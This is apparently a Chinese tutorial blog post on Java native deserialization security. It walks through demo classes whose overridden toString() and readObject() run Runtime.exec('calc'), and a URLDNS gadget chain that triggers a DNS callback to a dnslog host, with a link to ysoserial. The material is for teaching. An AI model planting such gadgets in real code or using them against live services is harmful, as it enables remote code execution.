当前位置: 首页 > news >正文

第35天:安全开发-JavaEE应用原生反序列化重写方法链条分析触发类类加载

时间轴:

序列化与反序列化图解:

演示案例:

Java-原生使用-序列化&反序列化

Java-安全问题-重写方法&触发方法

Java-安全问题-可控其他类重写方法

Java-原生使用-序列化&反序列化

1.为什么进行序列化和反序列化?

个人理解:

因为如果转载使用ctrl+a和ctrl+v的话,那么会导致空格复制不过去什么的

使用序列化可以像是打包好了以后发过去。(源码打包好发过去为序列化,将源码的包解开发过来是反序列化)

打包->封装->文件(序列化)

文件->解包(反序列化)

案例演示:

1.创建SeriaTestDemo。

删除老几样(34天有说)

UserDemo:
package com.example.seriatestdemo;import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;public class UserDemo implements Serializable {public String name="xiaodi";public String gender="man";public Integer age=30;public UserDemo(String name,String gender,Integer age){this.name=name;this.gender=gender;this.age = age;System.out.println(name);System.out.println(gender);}public String toString() {try {Runtime.getRuntime().exec("calc");} catch (IOException e) {throw new RuntimeException(e);}return "User{" +"name='" + name + '\'' +", gender='" + gender + '\'' +", age=" + age +'}';}//    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
//        //指向正确readObject
//        ois.defaultReadObject();
//        Runtime.getRuntime().exec("calc");
//    }}

其中toString()为UserDemo的内置

序列化操作文件(SerializableDemo):
package com.example.seriatestdemo;import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;public class SerializableDemo {public static void main(String[] args) throws IOException {//创建一个对象 引用UserDemoUserDemo u = new UserDemo("xdsec","gay1",30);//调用方法进行序列化SerializableTest(u);//ser.txt 就是对象u 序列化的字节流数据}public static void SerializableTest(Object obj) throws IOException {//FileOutputStream() 输出文件//将对象obj序列化后输出到文件ser.txtObjectOutputStream oos= new ObjectOutputStream(new FileOutputStream("ser.txt"));oos.writeObject(obj);}}

 运行逻辑:

下面写好了一个SerializableTest(obj),他的obj为u,u定义在了上面,UserDemo()写在了第一个文件中

以下为输出的字节流

反序列化操作文件(UnserializableDemo):
package com.example.seriatestdemo;import java.io.*;public class UnserializableDemo {public static void main(String[] args) throws IOException, ClassNotFoundException {//调用下面的方法 传输ser.txt 解析还原反序列化Object obj =UnserializableTest("ser.txt");//对obj对象进行输出 默认调用原始对象的toString方法System.out.println(obj);}public static Object UnserializableTest(String Filename) throws IOException, ClassNotFoundException {//读取Filename文件进行反序列化还原ObjectInputStream ois= new ObjectInputStream(new FileInputStream(Filename));Object o = ois.readObject();return o;}
}

运行结果:

转换前的数据

转换后的数据

安全问题:

反序列化利用链
(1) 入口类的 readObject 直接调用危险方法
(2) 入口参数中包含可控类,该类有危险方法, readObject 时调用
(3) 入口类参数中包含可控类,该类又调用其他有危险方法的类, readObject 时调用
(4) 构造函数 / 静态代码块等类加载时隐式执行

(1) 入口类的 readObject 直接调用危险方法

将readObject()直接调用导致冲突

UserDemo中:

    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {//指向正确readObjectois.defaultReadObject();Runtime.getRuntime().exec("calc");}

 与此处相互冲突:

运行时会报错:

理解:

ObjectInputStream ois= new ObjectInputStream(new FileInputStream(Filename));
Object o = ois.readObject();
return o;

readObiect()——>jdk 1.8

反序列化

ObjectInputStream ois= new ObjectInputStream(new FileInputStream(Filename));
Object o = ois.readObject();
return o;

重写readObject方法,执行计算器

相当于执行序列化对象里面的readObject方法  而不是本身

可以使用断点来调试:

选择第二个:

点击步入:

跑入到Runtime.java

应该跑入到这里:

可以使用010editor进行分析ser.txt:

指向正向的readObject(),若不指向下面没数据为空
   private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {//指向正确readObjectois.defaultReadObject();Runtime.getRuntime().exec("calc");
(2) 入口参数中包含可控类,该类有危险方法,readObject 时调用
原理: 

如果换一个类 里面自带有readObject 会不会触发呢?

        //正常代码中 创建对象HashMap

        //用到原生态readObject方法去反序列化数据
        //readObject 在ObjectInputSteam 本来在这里
        //HashMap也有readObject方法

        //反序列化readObject方法调用 HashMap里面的readObject
        //执行链:
        //序列化对象hash 来源于自带类HashMap
//         *   Gadget Chain:
//                *   HashMap.readObject()
//                *       HashMap.putVal()
//                *         HashMap.hash()
//                *           URL.hashCode()
        //hashCode 执行结果 触发访问DNS请求 如果这里是执行命令的话 就是RCE漏洞

UrLDns:
package com.example.seriatestdemo;import java.io.*;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;public class UrLDns implements Serializable {public static void main(String[] args) throws IOException, ClassNotFoundException {//正常代码中 创建对象HashMap//用到原生态readObject方法去反序列化数据//readObject 在ObjectInputSteam 本来在这里//HashMap也有readObject方法//反序列化readObject方法调用 HashMap里面的readObject//执行链://序列化对象hash 来源于自带类HashMap
//         *   Gadget Chain:
//                *   HashMap.readObject()
//                *       HashMap.putVal()
//                *         HashMap.hash()
//                *           URL.hashCode()//hashCode 执行结果 触发访问DNS请求 如果这里是执行命令的话 就是RCE漏洞HashMap<URL,Integer> hash = new HashMap<>();URL u=new URL("http://dmo1e2.dnslog.cn");hash.put(u,1);SerializableTest(hash);UnserializableTest("dns.txt");}public static void SerializableTest(Object obj) throws IOException {//FileOutputStream() 输出文件//将对象obj序列化后输出到文件ser.txtObjectOutputStream oos= new ObjectOutputStream(new FileOutputStream("dns.txt"));oos.writeObject(obj);}public static Object UnserializableTest(String Filename) throws IOException, ClassNotFoundException {//读取Filename文件进行反序列化还原ObjectInputStream ois= new ObjectInputStream(new FileInputStream(Filename));Object o = ois.readObject();return o;}}

使用正常方法会产生dns.txt

可以使用010editor进行查看:

正常情况下访问dns:

http://dnslog.cn/

能访问上的原因

 (https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java


(3) 入口类参数中包含可控类,该类又调用其他有危险方法的类,readObject 时调用

(4) 构造函数/静态代码块等类加载时隐式执行
UnserializableDemo:
public class UnserializableDemo {public static void main(String[] args) throws IOException, ClassNotFoundException {//调用下面的方法 传输ser.txt 解析还原反序列化Object obj =UnserializableTest("ser.txt");//对obj对象进行输出 默认调用原始对象的toString方法System.out.println(obj);}
 UserDemo:
    @Overridepublic String toString() {try {Runtime.getRuntime().exec("calc");} catch (IOException e) {throw new RuntimeException(e);}return "UserDemo{" +"name='" + name + '\'' +", gender='" + gender + '\'' +", age=" + age +'}';}

因为有toString()进行string方法的改变,在unserializableDemo中System.out.println(obj);//对obj对象进行输出 默认调用原始对象的toString方法

反序列化总结:

1 、序列化与反序列化
序列化:将内存中的对象压缩成字节流
反序列化:将字节流转化成内存中的对象
2 、为什么有序列化技术
序列化与反序列化的设计就是用来传输数据的。
当两个进程进行通信的时候,可以通过序列化反序列化来进行传输。
能够实现数据的持久化,通过序列化可以把数据永久的保存在硬盘上,也可以理解为通过
序列化将数据保存在文件中。
应用场景
(1) 想把内存中的对象保存到一个文件中或者是数据库当中。
(2) 用套接字在网络上传输对象。
(3) 通过 RMI 传输对象的时候。
3 、几种创建的序列化和反序列化协议
• JAVA 内置的 writeObject() / readObject()
• JAVA 内置的 XMLDecoder()/XMLEncoder
• XStream
• SnakeYaml
• FastJson
• Jackson
4 、为什么会出现反序列化安全问题
内置原生写法分析
重写 readObject 方法
输出调用 toString 方法
5 、反序列化利用链
(1) 入口类的 readObject 直接调用危险方法
(2) 入口参数中包含可控类,该类有危险方法, readObject 时调用
(3) 入口类参数中包含可控类,该类又调用其他有危险方法的类, readObject 时调用
(4) 构造函数 / 静态代码块等类加载时隐式执行
本文章由李豆豆喵和番薯小羊卷~共同完成!

相关文章:

第35天:安全开发-JavaEE应用原生反序列化重写方法链条分析触发类类加载

时间轴&#xff1a; 序列化与反序列化图解&#xff1a; 演示案例&#xff1a; Java-原生使用-序列化&反序列化 Java-安全问题-重写方法&触发方法 Java-安全问题-可控其他类重写方法 Java-原生使用-序列化&反序列化 1.为什么进行序列化和反序列化&#xff1…...

【mptcp】ubuntu18.04和MT7981搭建mptcp测试环境操作说明

目录 安装ubuntu18.04,可以使用虚拟机安装... 2 点击安装VMware Tool 2 更新ubuntu18.04源... 4 安装ifconfig指令工具包... 5 安装vim工具包... 5...

【数据分析(二)】初探 Pandas

目录 引言1. 基本数据结构1.1. Series 的初始化和简单操作1.2. DataFrame 的初始化和简单操作1.2.1. 初始化与持久化1.2.2. 读取查看1.2.3. 行操作1.2.4. 列操作1.2.5. 选中筛查 2. 数据预处理2.0. 生成样例表2.1. 缺失值处理2.2. 类型转换和排序2.3. 统计分析 3. 数据透视3.0.…...

第9章:Python TDD解决货币对象相等性比较难题

写在前面 这本书是我们老板推荐过的&#xff0c;我在《价值心法》的推荐书单里也看到了它。用了一段时间 Cursor 软件后&#xff0c;我突然思考&#xff0c;对于测试开发工程师来说&#xff0c;什么才更有价值呢&#xff1f;如何让 AI 工具更好地辅助自己写代码&#xff0c;或许…...

更新布局元素的属性

每个布局元素都有一组可以通过编程来更新的属性.布局元素有很多种不同的类型,如图例,图形,文本,地图整饰等等. 操作方法: 1.打开目标活动地图文档 2.打开python窗口 3.导入arcpy模块 import arcpy.mapping as mapping 4.引用当前活动地图文档,把该引用赋值给变量 mxd map…...

UDP協議與代理IP介紹

UDP&#xff0c;全稱是用戶數據報協議&#xff08;User Datagram Protocol&#xff09;&#xff0c;是Internet協議套組的一部分&#xff0c;與TCP協議一道工作。與TCP相比&#xff0c;UDP可以理解為一個更“羽量級”的協議。它不需要像TCP那樣在數據傳輸開始之前建立連接&…...

QT 中 UDP 的使用

目录 一、UDP 简介 二、QT 中 UDP 编程的基本步骤 &#xff08;一&#xff09;包含头文件 &#xff08;二&#xff09;创建 UDP 套接字对象 &#xff08;三&#xff09;绑定端口 &#xff08;四&#xff09;发送数据 &#xff08;五&#xff09;接收数据 三、完整示例代…...

leetcode刷题记录(七十二)——146. LRU 缓存

&#xff08;一&#xff09;问题描述 146. LRU 缓存 - 力扣&#xff08;LeetCode&#xff09;146. LRU 缓存 - 请你设计并实现一个满足 LRU (最近最少使用) 缓存 [https://baike.baidu.com/item/LRU] 约束的数据结构。实现 LRUCache 类&#xff1a; * LRUCache(int capacity)…...

深圳大学-计算机系统(3)-实验一MIPS指令集实验

实验目标 a) 了解WinMIPS64的基本功能和作用&#xff1b; b) 熟悉MIPS指令、初步建立指令流水执行的感性认识&#xff1b; c) 掌握该工具的基本命令和操作&#xff0c;为流水线实验作准备。 实验内容 按照下面的实验步骤及说明&#xff0c;完成相关操作记录实验过程的截图&a…...

Java面试专题——面向对象

面向过程和面向对象的区别 面向过程&#xff1a;当事件比较简单的时候&#xff0c;利用面向过程&#xff0c;注重的是事件的具体的步骤/过程&#xff0c;注重的是过程中的具体的行为&#xff0c;以函数为最小单位&#xff0c;考虑怎么做。 面向对象&#xff1a;注重找“参与者…...

知行合一:解决有心无力的问题,解决知易行难的问题,知行合一并不意味着事事都要合一,而是....

问题是什么&#xff1f; 想学习的时候&#xff0c;有手机阻碍我们。想戒掉手机短视频&#xff0c;卸载后&#xff0c;几天的时间&#xff0c;又下载了回来。制定了减肥计划&#xff0c;但就是不执行。明知道这样做是不对的&#xff0c;但依然行动不起来。 沉溺于各种各样的享…...

Qt中自定义信号与槽

在学习信号和槽的时候&#xff0c;我们知道信号一般对应的就是用户的行为&#xff0c;槽指的是接受到信号后的响应&#xff0c;在类内有许多的内置信号和槽函数&#xff0c;能够去实现一些常见的行为&#xff0c;但实际业务开发中&#xff0c;尤其是接受到信号的响应会根据具体…...

.NET 8 项目 Docker 方式部署到 Linux 系统详细操作步骤

本文将详细介绍如何将一个 .NET 8 项目通过 Docker 部署到 Linux 系统中。以下步骤包括从项目的创建、Dockerfile 的编写、镜像构建、到最后在 Linux 上的容器运行。 1. 环境准备 在开始之前&#xff0c;请确保你已经具备以下环境&#xff1a; Linux 系统&#xff08;如 Ubu…...

深入了解 Java split() 方法:分割字符串的利器

Java 提供的 split() 方法是 String 类中一个常用的工具&#xff0c;它可以将一个字符串根据指定的分隔符切割成多个子字符串&#xff0c;并以字符串数组的形式返回。这个方法常用于字符串的处理、数据解析等场景。本文将详细介绍 Java 中 split() 方法的使用方式&#xff0c;并…...

pgsql中处理数组类型字段

1、代码中存入和读取 需要使用自定义转换器 Slf4j public class ArrayTypeHandler extends BaseTypeHandler<List<String>> {Overridepublic void setNonNullParameter(PreparedStatement ps, int i, List<String> parameter, JdbcType jdbcType)throws SQL…...

如何正确定位前后端bug?

在平时的开发过程中&#xff0c;正确定位前后端bug是提高开发效率和项目质量的关键。以下是一些实用的方法。 一、前后端bug 特征 前端主要负责显示数据&#xff0c;后端主要负责处理数据、存储数据&#xff0c;前后端主要通过接口进行数据交换。 1.前端bug特征 界面显示类…...

mfc操作json示例

首先下载cJSON,加入项目; 构建工程,如果出现, fatal error C1010: unexpected end of file while looking for precompiled head 在cJSON.c文件的头部加入#include "stdafx.h"; 看情况,可能是加到.h或者是.cpp文件的头部,它如果有包含头文件, #include &…...

【技术总结类】2024,一场关于海量数据治理以及合理建模的系列写作

目录 1.今年的创作路线 2.先说第一条线 2.1.由日志引出的海量文本数据存储和分析问题 2.2.监控以及监控的可视化 2.3.数据量级再往上走牵扯出了大数据 2.4.由大数据牵扯出的JAVA线程高级内容 3.第二条线&#xff0c;也是2025要继续的主线 1.今年的创作路线 今年的写作内…...

Dockerfile另一种使用普通用户启动的方式

基础镜像的Dockerfile # 使用 Debian 11.9 的最小化版本作为基础镜像 FROM debian:11.11# 维护者信息 LABEL maintainer"caibingsen" # 复制自定义的 sources.list 文件&#xff08;如果有的话&#xff09; COPY sources.list /etc/apt/sources.list # 创建…...

python的pushbullet库在设备之间发送通知链接文件

Pushbullet 是一个非常方便的 Python 库&#xff0c;可以帮助你在设备之间发送通知、链接、文件等。以下是 Pushbullet 的一些主要功能和使用方法&#xff1a; 功能 与你的 Pushbullet 账户关联的设备&#xff08;需要下载对应的pushbullet手机APP、电脑客户端&#xff09;之…...

7.4.分块查找

一.分块查找的算法思想&#xff1a; 1.实例&#xff1a; 以上述图片的顺序表为例&#xff0c; 该顺序表的数据元素从整体来看是乱序的&#xff0c;但如果把这些数据元素分成一块一块的小区间&#xff0c; 第一个区间[0,1]索引上的数据元素都是小于等于10的&#xff0c; 第二…...

React Native 导航系统实战(React Navigation)

导航系统实战&#xff08;React Navigation&#xff09; React Navigation 是 React Native 应用中最常用的导航库之一&#xff0c;它提供了多种导航模式&#xff0c;如堆栈导航&#xff08;Stack Navigator&#xff09;、标签导航&#xff08;Tab Navigator&#xff09;和抽屉…...

在四层代理中还原真实客户端ngx_stream_realip_module

一、模块原理与价值 PROXY Protocol 回溯 第三方负载均衡&#xff08;如 HAProxy、AWS NLB、阿里 SLB&#xff09;发起上游连接时&#xff0c;将真实客户端 IP/Port 写入 PROXY Protocol v1/v2 头。Stream 层接收到头部后&#xff0c;ngx_stream_realip_module 从中提取原始信息…...

Linux云原生安全:零信任架构与机密计算

Linux云原生安全&#xff1a;零信任架构与机密计算 构建坚不可摧的云原生防御体系 引言&#xff1a;云原生安全的范式革命 随着云原生技术的普及&#xff0c;安全边界正在从传统的网络边界向工作负载内部转移。Gartner预测&#xff0c;到2025年&#xff0c;零信任架构将成为超…...

Module Federation 和 Native Federation 的比较

前言 Module Federation 是 Webpack 5 引入的微前端架构方案&#xff0c;允许不同独立构建的应用在运行时动态共享模块。 Native Federation 是 Angular 官方基于 Module Federation 理念实现的专为 Angular 优化的微前端方案。 概念解析 Module Federation (模块联邦) Modul…...

前端开发面试题总结-JavaScript篇(一)

文章目录 JavaScript高频问答一、作用域与闭包1.什么是闭包&#xff08;Closure&#xff09;&#xff1f;闭包有什么应用场景和潜在问题&#xff1f;2.解释 JavaScript 的作用域链&#xff08;Scope Chain&#xff09; 二、原型与继承3.原型链是什么&#xff1f;如何实现继承&a…...

MySQL账号权限管理指南:安全创建账户与精细授权技巧

在MySQL数据库管理中&#xff0c;合理创建用户账号并分配精确权限是保障数据安全的核心环节。直接使用root账号进行所有操作不仅危险且难以审计操作行为。今天我们来全面解析MySQL账号创建与权限分配的专业方法。 一、为何需要创建独立账号&#xff1f; 最小权限原则&#xf…...

LangChain知识库管理后端接口:数据库操作详解—— 构建本地知识库系统的基础《二》

这段 Python 代码是一个完整的 知识库数据库操作模块&#xff0c;用于对本地知识库系统中的知识库进行增删改查&#xff08;CRUD&#xff09;操作。它基于 SQLAlchemy ORM 框架 和一个自定义的装饰器 with_session 实现数据库会话管理。 &#x1f4d8; 一、整体功能概述 该模块…...

JS手写代码篇----使用Promise封装AJAX请求

15、使用Promise封装AJAX请求 promise就有reject和resolve了&#xff0c;就不必写成功和失败的回调函数了 const BASEURL ./手写ajax/test.jsonfunction promiseAjax() {return new Promise((resolve, reject) > {const xhr new XMLHttpRequest();xhr.open("get&quo…...

Linux安全加固:从攻防视角构建系统免疫

Linux安全加固:从攻防视角构建系统免疫 构建坚不可摧的数字堡垒 引言:攻防对抗的新纪元 在日益复杂的网络威胁环境中,Linux系统安全已从被动防御转向主动免疫。2023年全球网络安全报告显示,高级持续性威胁(APT)攻击同比增长65%,平均入侵停留时间缩短至48小时。本章将从…...